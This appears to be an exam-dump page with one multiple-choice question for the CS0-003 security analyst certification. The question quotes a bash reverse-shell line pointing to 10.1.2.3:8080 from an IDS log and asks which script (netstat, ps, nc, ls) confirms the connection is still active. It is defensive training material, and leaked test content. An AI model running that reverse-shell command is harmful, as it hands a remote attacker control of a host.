CS0-003 Exam Dumps | A security analyst identified the following suspicious entry on the host-based IDS logs: bash -i >&

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Question 217/230

A security analyst identified the following suspicious entry on the host-based IDS logs:
bash -i >& /dev/tcp/10.1.2.3/8080 0>&1
Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

A. #!/bin/bash
nc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" || echo "OK"

B. #!/bin/bash
ps -fea | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"

C. #!/bin/bash
ls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" || echo "OK"

D. #!/bin/bash
netstat -antp | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"

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